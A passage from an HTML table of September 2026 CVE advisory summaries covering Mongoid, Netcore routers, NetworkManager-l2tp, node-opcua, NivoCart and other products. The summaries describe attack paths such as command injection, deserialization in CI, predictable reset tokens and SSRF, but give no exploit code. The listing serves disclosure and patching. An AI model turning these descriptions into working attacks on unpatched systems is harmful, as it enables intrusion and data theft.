&lt;td&gt;Mongoid contains an unsafe reflection weakness in the query path used for embedded documents. An application that passes an externally supplied field name to certain in-memory query methods may allow an unauthenticated party to obtain unintended disclosure of stored document data and to permanently remove stored records.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93762&quot; target=&quot;_blank&quot;&gt;CVE-2026-93762&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB Inc.--Mongoid&lt;/td&gt;
&lt;td&gt;Mongoid contains an unsafe reflection weakness in the document persistence layer of its object-document mapping code. Input whose keys are passed through from an unauthenticated party by an embedding application can cause unintended internal method invocation instead of the intended array field update. This may result in unintended removal of stored records and in the embedding application becoming unresponsive.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93765&quot; target=&quot;_blank&quot;&gt;CVE-2026-93765&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB Inc.--Mongoid&lt;/td&gt;
&lt;td&gt;An insecure direct object reference in the nested attributes handling of the Mongoid object-document mapper may allow a user with basic application privileges to reference a record identifier that is not their own. Processing such a request can cause that record to be looked up without the usual ownership or scoping restrictions, then updated and linked to the requesting user&#039;s own record. This may result in unintended disclosure and unauthorized modification of data belonging to other users of the application.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93758&quot; target=&quot;_blank&quot;&gt;CVE-2026-93758&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB Inc.--Mongoid&lt;/td&gt;
&lt;td&gt;Mongoid does not neutralize a string-typed query criterion supplied to its query builder, and instead passes it to the database as a server-side JavaScript expression. An unauthenticated party able to influence the value an application supplies as a query argument may cause code of their choosing to be evaluated by the database engine. This may result in unintended disclosure of stored field values, unintended selection of documents for application-initiated writes, and reduced database performance.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93759&quot; target=&quot;_blank&quot;&gt;CVE-2026-93759&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB Inc.--Mongoid&lt;/td&gt;
&lt;td&gt;Mongoid does not restrict which query operators may come from caller-supplied filter data when an application hands that data to its query-building methods. In an application that forwards externally supplied filter parameters in this way, a party with no credentials may influence how the database evaluates the query. This may result in unintended disclosure of stored field values and in reduced database performance.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93760&quot; target=&quot;_blank&quot;&gt;CVE-2026-93760&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MongoDB Inc.--Mongoid&lt;/td&gt;
&lt;td&gt;An inefficient regular expression complexity issue in the in-memory query evaluation component of the Mongoid library may allow an unauthenticated party to cause excessive processing within an embedding application process. Applications that place user-supplied text into a pattern-matching query condition on an embedded association may become unresponsive.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93761&quot; target=&quot;_blank&quot;&gt;CVE-2026-93761&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;moquette-io--moquette&lt;/td&gt;
&lt;td&gt;Moquette is a lightweight Java MQTT broker. Prior to 0.18.1, PostOffice.publishWill publishes a client-controlled Last Will message through publish2Subscribers without invoking the authorizator.canWrite check used by normal PUBLISH paths. When anonymous access is enabled and topic ACLs restrict writes, a remote client can set an ACL-protected topic as the Last Will Topic during CONNECT and perform an abnormal client disconnect, causing the broker to inject attacker-controlled messages into a topic for which the client lacks write permission. This issue is fixed in version 0.18.1.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85058&quot; target=&quot;_blank&quot;&gt;CVE-2026-85058&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Moreconvert Team--MC Woocommerce Wishlist&lt;/td&gt;
&lt;td&gt;Administrator SQL Injection in MC Woocommerce Wishlist &amp;lt;= 1.9.21 versions.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-66631&quot; target=&quot;_blank&quot;&gt;CVE-2026-66631&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;murtaza-nasir--speakr&lt;/td&gt;
&lt;td&gt;Speakr is a personal, self-hosted web application designed for transcribing audio recordings. Prior to 0.8.21-alpha, the csrf_exempt_for_api_tokens() before_request hook in src/app.py calls csrf.exempt(view_func), permanently adding the selected view to Flask-WTF&#039;s process-global exemption set. The is_token_authenticated() function in src/utils/token_auth.py calls extract_token_from_request() and treats any present token, including request.args.get(&#039;token&#039;), as authenticated without hashing the token, querying the database, or checking validity. A network-reachable attacker can therefore send a false token to disable CSRF protection for the targeted view for the worker lifetime. Because the exemption applies to the view function across HTTP methods, a cross-origin GET to /account with a query token can poison CSRF state for a later state-changing POST without triggering CORS preflight. This browser sequence requires attacker-controlled content on a sibling subdomain under the documented cookie conditions. The bypass can modify profile data, custom prompts, transcription settings, preferences, and administrative status through routes such as admin_toggle_admin. The change_password route also skips current-password verification when current_user.password is empty, allowing the chain to set a local password on an SSO-only account and bypass SSO. This issue is fixed in version 0.8.21-alpha.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54510&quot; target=&quot;_blank&quot;&gt;CVE-2026-54510&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;mySCADA Technologies--mySCADA myPRO&lt;/td&gt;
&lt;td&gt;The mySCADA myPRO Manager command API does not properly enforce authentication for privileged functions. An unauthenticated attacker with network access to the affected API could exploit this vulnerability to access privileged management functions.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73807&quot; target=&quot;_blank&quot;&gt;CVE-2026-73807&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NangoHQ--Nango&lt;/td&gt;
&lt;td&gt;Nango through 0.70.4 fails to validate caller-supplied connection configuration values interpolated into provider token and proxy URL templates. Authenticated attackers can supply malicious configuration values to direct server requests at internal addresses or cloud metadata endpoints, potentially exfiltrating provider credentials.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92804&quot; target=&quot;_blank&quot;&gt;CVE-2026-92804&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;naranor--agent-coderag&lt;/td&gt;
&lt;td&gt;CodeRAG is a lightweight semantic code search and distillation utility for AI coding agents. Prior to 1.3.1, the default agent-coderag sync flow in code_rag/entry/cli.py calls sync_dependencies for an indexed path, and code_rag/core/manager.py treats build.gradle or build.gradle.kts as sufficient to invoke _sync_gradle. _sync_gradle prefers a repository-controlled gradlew or gradlew.bat file and passes it directly to asyncio.create_subprocess_exec with the repository root as the working directory; validate_path in code_rag/core/utils.py constrains the directory location but does not validate the executable&#039;s content or integrity. A victim who indexes an attacker-controlled Gradle repository therefore executes attacker-supplied code with the victim&#039;s operating-system privileges, allowing disclosure, modification, persistence, or denial of service in the user environment. This issue is fixed in 1.3.1.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57586&quot; target=&quot;_blank&quot;&gt;CVE-2026-57586&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netbox-community--devicetype-library&lt;/td&gt;
&lt;td&gt;NetBox Device Type Library is a collection of community-sourced device type definitions for import into NetBox. The validation test harness can deserialize pull-request-controlled tracked pickle cache files through pickle.load in the read_pickle_data function in tests/pickle_operations.py. An unauthenticated contributor can change USE_LOCAL_KNOWN_SLUGS in tests/test_configuration.py and supply a crafted tests/known-modules.pickle or tests/known-racks.pickle file that tests/definitions_test.py loads when pytest runs. Deserialization invokes attacker-controlled object reduction behavior, allowing arbitrary code execution in the GitHub Actions runner or in a maintainer process that runs the tests, with the confidentiality, integrity, and availability of reachable resources at risk. This vulnerability is fixed with commit 1c6f7e2b93589b965318c6e67ac3504831f0e71e.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54752&quot; target=&quot;_blank&quot;&gt;CVE-2026-54752&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netbox-community--devicetype-library&lt;/td&gt;
&lt;td&gt;NetBox Device Type Library is a collection of community-sourced device type definitions for import into NetBox. The absence of tests/init.py and the lack of --import-mode=importlib cause pytest prepend import mode to place the tests directory at the front of sys.path during collection. An unauthenticated contributor can add a module such as tests/git.py that shadows GitPython when tests/definitions_test.py executes from git import Git, Repo, or add tests/conftest.py for automatic collection-time execution. Python imports and runs the pull-request module before any test function, allowing arbitrary code execution on the GitHub Actions runner, test-result tampering, and access to tokens or network resources exposed to the workflow. This module-shadowing path is independent of the earlier pickle deserialization flaw and the separately tracked NETBOX_DT_LIBRARY_URL issue. This vulnerability is fixed by commit b0d9a3dadd0a0a9d3c93b0b2777559fd4bad1037.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54916&quot; target=&quot;_blank&quot;&gt;CVE-2026-54916&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NBR200V2&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in Netcore NBR200V2 1.3.241127.071246. This affects an unknown part of the file /www/cgi-bin/network_tools of the component CGI Diagnostic Endpoint. This manipulation of the argument param/key/val causes command injection. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94097&quot; target=&quot;_blank&quot;&gt;CVE-2026-94097&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NBR200V2&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in Netcore NBR200V2 1.3.241127.071246. Affected by this vulnerability is an unknown functionality of the file /usr/bin/network_tools of the component Traceroute Diagnostic Feature. The manipulation of the argument url leads to command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94095&quot; target=&quot;_blank&quot;&gt;CVE-2026-94095&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NBR200V2&lt;/td&gt;
&lt;td&gt;A vulnerability was found in Netcore NBR200V2 1.3.241127.071246. Affected by this issue is some unknown functionality of the file /usr/bin/network_tools of the component LAN IP Configuration Handler. The manipulation of the argument ipv4 results in command injection. The attack may be launched remotely. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94096&quot; target=&quot;_blank&quot;&gt;CVE-2026-94096&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;Netcore NR255-V firmware version 1.5.130703 contains a cross-site request forgery vulnerability affecting the wan_config_set_cgi, wan_num_set_cgi, and lan_ip_change_cgi endpoints. Attackers can craft forged requests to trick authenticated administrators into modifying WAN or LAN network configuration settings without consent.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76856&quot; target=&quot;_blank&quot;&gt;CVE-2026-76856&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;Netcore NR255-V version 1.5.130703 contains a stack-based buffer overflow in wake_up_set.cgi caused by unbounded tokenization of MAC and ID input. Attackers can supply crafted MAC and ID values to the affected endpoint to overflow the stack buffer and corrupt program memory.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76860&quot; target=&quot;_blank&quot;&gt;CVE-2026-76860&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;Netcore NR255-V version 1.5.130703 contains a stack-based buffer overflow in ntools_tcpdump_start_set.cgi caused by an unsized sprintf call when processing form values. An attacker can submit crafted input to this cgi endpoint to overflow the stack buffer and potentially execute arbitrary code.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76861&quot; target=&quot;_blank&quot;&gt;CVE-2026-76861&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;Netcore NR255-V version 1.5.130703 contains an os command argument injection vulnerability in the Nettools tcpdump launch paths, including ntools_start_set_cgi, ntools_tcpdump_start_set_cgi, exe_default, and ntools_proc components. Attackers can inject crafted arguments into these tcpdump launch routines to manipulate executed system commands on the device.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76862&quot; target=&quot;_blank&quot;&gt;CVE-2026-76862&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;Netcore NR255-V firmware version 1.5.130703 builds root-run command lines from unquoted user-supplied DDNS input in DDNSset_cgi.c and related ddns_Proc.c components, enabling os command argument injection. Attackers can exploit the unsanitized parameters to inject additional command arguments executed with root privileges.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76866&quot; target=&quot;_blank&quot;&gt;CVE-2026-76866&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;Netcore NR255-V version 1.5.130703 contains a stack-based buffer overflow in reboot_timer_set.cgi caused by improper sscanf token parsing. Attackers can exploit this flaw by submitting crafted input to the affected endpoint to corrupt stack memory.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76869&quot; target=&quot;_blank&quot;&gt;CVE-2026-76869&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR255-V&lt;/td&gt;
&lt;td&gt;Netcore NR255-V version 1.5.130703 contains an out-of-bounds read vulnerability in the mtd_write pre-flash validation routine triggered by short firmware uploads. Attackers can upload a truncated firmware image via put_file_cgi.c to trigger out-of-bounds reads across main.c, check_image_uuid.c, and oemMD5Update.c.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76870&quot; target=&quot;_blank&quot;&gt;CVE-2026-76870&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR268&lt;/td&gt;
&lt;td&gt;Netcore NR268 firmware version 1.7.121109 has an improper integrity verification flaw in mtd_write allowing forged firmware authenticity checks. Attackers can exploit put_file.cgi and check_image_uuid.c to bypass firmware signature validation and load unauthorized firmware images.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76852&quot; target=&quot;_blank&quot;&gt;CVE-2026-76852&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Netcore--NR268&lt;/td&gt;
&lt;td&gt;Netcore NR268 firmware version 1.7.121109 contains a security check bypass vulnerability in the parame_put_file.cgi restore archive prefix validation. Attackers can exploit the flawed prefix check in put_parame_file_cgi.c to bypass restricted restore archive handling.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-76853&quot; target=&quot;_blank&quot;&gt;CVE-2026-76853&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NetworkManager-l2tp--NetworkManager-l2tp&lt;/td&gt;
&lt;td&gt;A flaw was found in NetworkManager-l2tp. The plugin writes attacker-controlled VPN connection properties (vpn.data and vpn.secrets values) unescaped into a generated ipsec.conf file that pluto loads as root. A local unprivileged user can create and activate their own L2TP VPN profile containing a newline-injected leftupdown directive; pluto executes that command as root when the IKE security association is established, resulting in local privilege escalation. This is the same bug class as CVE-2018-10900 (NetworkManager-vpnc).&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19624&quot; target=&quot;_blank&quot;&gt;CVE-2026-19624&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NIAEFEUP--tts-be&lt;/td&gt;
&lt;td&gt;`tts-be` is a backend for a timetable selector that aims to help students better choose their class schedules. Versions prior to 2.1.0 have a Broken Access Control vulnerability across several API endpoints (such as `/api/student/{id}/photo` and `/api/course_unit/{id}/exchange/metadata`). By chaining these unauthenticated endpoints, a remote attacker can use the backend as an open proxy to bypass authorization checks, allowing for the enumeration and extraction of sensitive Personally Identifiable Information (PII) from upstream university systems. The exposed data includes full names, student IDs, class schedules, and photos. This issue was fixed in version 2.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88065&quot; target=&quot;_blank&quot;&gt;CVE-2026-88065&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nivocart--nivocart&lt;/td&gt;
&lt;td&gt;NivoCart through 2.4.0 contains an arbitrary file upload vulnerability in the File Manager multi() endpoint that fails to validate file extensions for new filenames or when chunks parameter is 2 or higher. Attackers with view-only back-office access can upload PHP files to the web-accessible image/data/ directory and execute them for remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94104&quot; target=&quot;_blank&quot;&gt;CVE-2026-94104&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nivocart--nivocart&lt;/td&gt;
&lt;td&gt;NivoCart through 2.4.0 contains a predictable password reset token vulnerability in the forgotten.php endpoint that generates recovery codes using substr(md5(mt_rand()), 0, 10). Attackers who know an administrator&#039;s email address can request a password reset and predict the token to gain administrative account access without rate limiting or expiration.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94107&quot; target=&quot;_blank&quot;&gt;CVE-2026-94107&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NLnet Labs--Unbound&lt;/td&gt;
&lt;td&gt;In NLnet Labs Unbound up to and including 1.26.0, a 255 length query name with a large TCP response can lead to a heap buffer overflow during the RRSet canonicalisation routine. This is caused by missing to add the first owner name into the buffer length check. A malicious actor operating a malicious name server or tampering with an incoming response to Unbound (canonicalisation happens before DNSSEC validation), can trigger the vulnerability.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81634&quot; target=&quot;_blank&quot;&gt;CVE-2026-81634&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nm-l2tp--NetworkManager-l2tp&lt;/td&gt;
&lt;td&gt;NetworkManager-l2tp contains an improper input validation vulnerability that allows local users with VPN connection creation permissions to inject arbitrary pppd directives by supplying mru or mtu property values containing trailing non-numeric content after a valid integer. Attackers can exploit the verbatim write of unvalidated strings into the pppd options file via write_config_option() to inject the plugin directive, causing the privileged pppd process to load an attacker-controlled shared object and achieve arbitrary code execution as root.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93337&quot; target=&quot;_blank&quot;&gt;CVE-2026-93337&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;node-opcua--node-opcua&lt;/td&gt;
&lt;td&gt;node-opcua is an OPC UA implementation for TypeScript and Node.js. Prior to 2.166.0, the UserNameIdentityToken authentication handler in packages/node-opcua-server/source/opcua_server.ts decrypts an RSA-OAEP password blob but does not verify that the trailing bytes match the current session serverNonce. An unauthenticated remote attacker can obtain the server public key through GetEndpoints and forge a blob whose little-endian length produces an empty password passed to isValidUser, compromising accounts that accept an empty password. Missing nonce binding also allows a captured UserNameIdentityToken ciphertext to be replayed in another session, and SecurityMode=None removes the separate client-signature safeguard. This issue is fixed in version 2.166.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54155&quot; target=&quot;_blank&quot;&gt;CVE-2026-54155&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;node-opcua--node-opcua&lt;/td&gt;
&lt;td&gt;node-opcua is an OPC UA implementation for TypeScript and Node.js. Prior to 2.166.0, the process-global g_alreadyUsedNonce cache used by nonceAlreadyBeenUsed in packages/node-opcua-secure-channel/source/server/server_secure_channel_layer.ts records nonces from OpenSecureChannelRequest and CreateSession without expiration or a size limit. An unauthenticated remote attacker can repeatedly create sessions with unique nonces, causing entries to persist after session expiry and accumulate across connection cycles even when maxSessions=10 limits concurrent sessions. The resulting unbounded heap growth can exhaust the default Node.js heap and crash the node-opcua server process. This issue is fixed in version 2.166.0.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54156&quot; target=&quot;_blank&quot;&gt;CVE-2026-54156&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;node-opcua--node-opcua&lt;/td&gt;
&lt;td&gt;node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.0.0 until 2.170.0, node-opcua clients using the default keepSessionAlive setting can enter a repeated reconnection cycle when an OPC UA server&#039;s clock skew causes BadInvalidTimestamp responses. ClientSessionKeepAliveManager._ping_server treated the server-originated ServiceFault as a network outage and forced a transport reconnect, while ClientTCP_transport._on_ACK_response used socket.end() after failed HEL/ACK negotiation and could leave the connection in FIN-WAIT-2 when the peer did not close. Repetition at the keepAliveInterval accumulates file descriptors and memory until the client process or container can be terminated by resource exhaustion. This issue is fixed in version 2.170.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68904&quot; target=&quot;_blank&quot;&gt;CVE-2026-68904&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nodemailer--nodemailer&lt;/td&gt;
&lt;td&gt;Nodemailer before 9.1.0 contains a quadratic time complexity vulnerability in the addressparser component that allows remote attackers to cause denial of service by supplying a crafted comma-separated address list. Attackers can send a single email with a large number of addresses to block the Node.js event loop for extended periods, consuming 100% CPU and freezing the process.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92596&quot; target=&quot;_blank&quot;&gt;CVE-2026-92596&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NodeRedis--redis-parser&lt;/td&gt;
&lt;td&gt;redis-parser through 3.0.0 contains a denial of service vulnerability in the RESP protocol parser that allows malicious Redis endpoints to crash the client process through unbounded recursion on nested arrays. Attackers can send crafted RESP byte streams with repeated array headers that exhaust the V8 call stack, causing an uncaught RangeError that terminates the Node.js process without triggering error handling callbacks.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93435&quot; target=&quot;_blank&quot;&gt;CVE-2026-93435&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NonceGeek--dim-sum-app&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in NonceGeek dim-sum-app. This impacts the function textSearchV2Handler of the file deno/main.tsx of the component Deno Backend. Such manipulation of the argument supabase_url leads to server-side request forgery. The attack can be executed remotely. The exploit has been disclosed publicly and may be used. The name of the patch is 8389032e5d52c28c4855c6126ca7d0eae8af346a. It is best practice to apply a patch to resolve this issue.&lt;/td&gt;
